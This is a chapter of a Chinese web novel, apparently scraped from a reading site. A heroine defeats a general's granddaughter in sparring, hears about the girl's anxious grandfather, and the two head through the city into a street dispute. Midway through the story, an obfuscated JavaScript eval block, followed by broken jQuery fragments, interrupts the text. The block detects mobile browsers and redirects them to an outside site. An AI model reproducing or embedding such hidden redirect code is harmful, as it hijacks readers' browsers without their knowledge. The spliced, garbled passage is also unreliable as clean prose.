19. 第 19 章

作品:《疯批反派小叔的老实人嫂嫂

    ”呼……“霍灵燕四仰八叉地躺在草地上,呆愣愣地看着天上飘动的云说不出话来。


    在她看来,许溪的动作满是破绽,像是放慢了十几倍,与路边上了年纪的老奶奶们没什么分别,


    可那日在揽月楼下的场景,让她丝毫不敢掉以轻心,霍灵燕收着力道,一方面怕误伤了许溪,另一方面又小心应对着。


    看似绵软无力的掌法轻推她拿着剑的手,不痛却酥麻得紧,像是被那通体碧绿的小蛇咬了一口,整条手臂都没了知觉。


    剑身砸在地上,发出闷重的声响,仅一瞬,胜负已分。


    许溪长呼一口气,对着地上的霍灵雁伸出手,“师傅说,外头比他厉害的人不少呢。”


    “噗!”闻言,霍灵雁抬手捂住双眼,整个人微微颤抖起来。


    许溪有些慌了,心想莫不是将她打傻了。


    “噗哈哈哈!”霍灵雁再也忍不住,放声大笑起来,“你可知我为何要找你比试?”她拍拍身旁的位置,示意许溪过来。


    许溪拢住裙角,盘腿就地坐下。


    “不知。”


    闻言,霍灵燕侧身转过来,用手掌支着脑袋,对她道:


    “自记事起,爷爷便派人守着我,整日整夜不离身,就连我如厕多了那么几刻,他也定会心神不安,坐立不宁,扯着嗓子在外头让我应他。”


    “等大些了,我渐渐明白所谓满门忠烈背后的痛苦与绝望,我心疼爷爷,对他言听计从,他不允许我习武,我便整日呆在房中学女红,他怕我认识陌生人,我便对谁都冷着一副脸,据他们于千里之外。”


    “可我越是顺从,爷爷的不安就越发严重,直到那日他发疯似的砍伤了偷偷为我买来糕点的小桃,我才发觉爷爷他病了。”


    “他不相信身边的所有人,总觉得他们只要抓住时机就会对我下手。”


    霍灵燕拨弄地上的泥土,将一只觅食的蚂蚁团团围住。


    “他不在乎自己的安危,只想要我活着。”


    “自爹娘死的那一天,他的世界里在没有其他,唯有我一人。”


    “爷爷察觉到自己的异常,他痛苦着,却又寻不到出路,被困死在对我的爱意中。”


    “我想让他解脱出来,告诉他一切已经结束了,我不会向爹娘那样离他而去。”


    “后来,我开始逃离,偷偷去练武场看士兵们习武,学会了爬狗洞、翻墙,不见我的踪迹,爷爷起初是恐慌,怕我被坏人掳走,可次数越来越多,取而代之的便是气愤与无奈。”


    “如今,只有我消失足足三个时辰了,他才会风风火火地来寻我,因为他知道,他总能寻到一个完好无损地我。”


    土堆中的蚂蚂蚁翻山越岭,寻到了出路,头上的触角喜悦地跳动着,庆幸自己逃过一劫。


    或许她的做法不讲道理,伤了爷爷的心,可她希望爷爷明白,她有保护自己的能力,并不会轻易死去。


    “那日我看你分明是一副柔柔弱弱的样子,却接二连三打倒了上来挑战的人。”


    说到此,霍灵燕有些不好意思地偏头,不敢直视许溪的正脸,“我想这若是爷爷见了你,指不定能放下些对我的担心。”


    ”可若是贸然叫你同我回府,我岂不是和强盗没什么两样了,“


    ”江湖中人,败者便要接受赢家的一个要求。“说着,她扑哧一笑,捡起地上的那把剑,紧握在手中,对着许溪半跪下去。


    ”说吧,只要是我能做到的。“


    见状,许溪被她这副认真的模样吓到了,但她脑子里慢慢都是——小桃二字。


    还是真瞌睡就有人送枕头,她还什么都没做呢,小桃其人便出现了。


    只不过,听灵燕的意思,小桃似是受了伤。


    看来无论是为了灵燕还是为了回家,她都得去霍国公府上一趟了。


    许溪腾的一下直起身子,紧紧攥住霍灵燕的手,”打道回府!“


    霍灵燕瞪大双眼,呆愣愣地看着眼前人说不出话来,直到隔壁院子传来仆人们一阵欢声笑语,她才猛地反手抓住许溪的手,认真地看着她,”你确定?“


    许溪点点头。


    ”诶呦!“她还未反应过来,整个人便被霍灵燕揽入怀中,”走!“


    她脸上地喜悦就快要溢出,从未觉得浑身如此轻快过。


    “等等。”许溪停下脚步,霍灵燕以为她反悔了,扬起的眉毛立时耷拉下来。


    只见许溪快步跑回房中,匆匆写了几笔,使出吃奶的劲儿将纸条扔进隔壁褚星濯的院子。


    而后拍拍手扶住霍灵燕的肩头,”走吧!“


    街上人群熙熙攘攘,揽月楼门前宾客仍旧络绎不绝,许溪跟在霍灵雁后头,生怕撞见诸如褚盛之类的人。


    可走得越久,她便愈发觉得,城中百姓全然不似原书中写得那样过着水深火热的生活,分明是安居乐业的模样。


    或许是她未曾去过京城以外的地方?许溪如此想着,不由得拽了拽霍灵雁的袖子。


    “城中百姓生活可安稳?”


    闻言,霍灵雁皱眉,似是不明白她为何有此疑虑,她重重地点了点头,“外无战乱,内有余钱,可不谓安稳?”


    许溪附耳在她跟前,悄声道,“可人人都说奸臣当道,人人自危呢。”


    她意有所指地眨眨眼,没错,她说的正是褚星濯,这个原书中所谓的“反派”。


    霍灵雁抬手摸摸鼻子,“此话不假,他确实不是个好相与的。”


    可身为自小从国公府上长大的人,她也并非什么都不懂。


    无论哪朝哪代,无论掌权者是谁,都需要有人去做见不得光的事。


    水至清则无鱼,治理之道亦是如此。


    看霍灵雁苦苦思索的模样,许溪本想着不为难她了,随口打趣道,“无碍,褚府又不是只有他一人……”


    话音未落,许溪的手腕便被一股巨大的力道死死抓住,她顿住脚步,只见霍灵雁一字一句道,“褚盛更不是什么好东西。”


    “若是没有许老爷,他哪里来的今天,若真的有鬼魂之说,他怕是早都被吃干抹净了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308467|180869||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    霍灵雁眼中染上一丝凌厉,“可惜,老天无眼,放任他与那杜家姑娘厮混。”


    尽管杜老头常去看望爷爷,但她看得出,他眼中满是对权力的渴望而无一丝真情。


    若真说起来,他既是最殷切爷爷的人,亦是最记恨爷爷之人。


    许溪瞧着她这幅浑身戒备炸了毛的样子,不由得轻拍她的手背,“若是他们都欺负我,我便寻你去。”


    还好,若有朝一日她真的不得不离开褚府,也算是有个安身的地方。


    “你这乳臭未干的小子,胡言乱语些什么!”街边传来男子气愤的声音,许溪循声看去,只见头戴汗巾的中年男人正拉着身旁人的领子,恶狠狠地瞪着他的脸。


    那人背对许溪,身着靛青色粗布衣裳,一头乌黑秀发随着他的动作好似流光溢彩的星空。


    “贵……你快放开我家公子!”他身侧的小厮赶忙上前试图掰开男人的手,可他力道太小,无法撼动比他身形高大不少的男人一丝一毫。


    尽管他长着一串长长的胡子,许溪仍是看出她是个女儿身。


    无他,实在是动作太过柔弱,像是楼里的倌哥儿。


    “呦呦呦,被我戳中痛处气急了吧,你既对人家姑娘有意,为何要送个假玉环。”


    “被发现还狡辩,我可是两只眼睛看着你从旁边的摊上买的赝品!”


    “你!”中年男子正欲给他一拳,好教训教训他这张烦人的嘴,手腕处便传来一阵酸胀,不由得松开了手。


    霍灵雁抬手接住重心不稳的男孩,许溪在抬手他身前护着,“若我没记错的话,当朝律法应不允许买卖赝品。”


    她抬眼,淡淡扫了眼对面摊主,眼看整条街的人都因为骚乱聚集过来,那摊主急于撇清关系,赶忙解释道,“我卖的是雁玉环,是他贪图小便宜,擅自将我这里买的东西说成玉环。”


    闻言,男人嘴唇颤抖,面露不善,“你胡说!有本事问问周围的人,你一直卖的都是玉环。”


    “可我这玉环只要三个铜板,买的人都心知肚明!”摊主双手叉腰理直气壮,而后一屁股跌坐在地上,开始又哭又闹起来,“我这还怎么做生意啊!”


    男人自知理亏,气焰渐渐灭了下来,他支支吾吾地转头,不敢去看对面的女子,“还不是你那日说别的女子戴它好看……”


    “姑娘,希望你看清他的为人,今日对一个毫无还手之力的孩子出手,改日就敢对你出手。”许溪微微颔首示意,见女子仍是有些不忍,她便再未多说什么,拉着一旁将假胡子哭花的丫鬟走远了。


    “……公子你没事吧!”丫鬟随手抹了抹眼泪,满眼心疼地看着男孩。


    他摇摇头,将手腕从霍灵雁手中抽了出来,偏头嘀咕道,“多管闲事。”


    长长的睫毛像是忽闪忽闪地的蝶翅膀,在眼睑处打下一道深色阴影,巴掌大的小脸下方粉嘟嘟的嘴巴一开一合,打眼一看便是个清秀的女郎,可两道锋利的眉毛,却让他变得雌雄莫辨起来。


    霍灵雁眯眼,这男孩好生眼熟,她总觉得在哪里见过。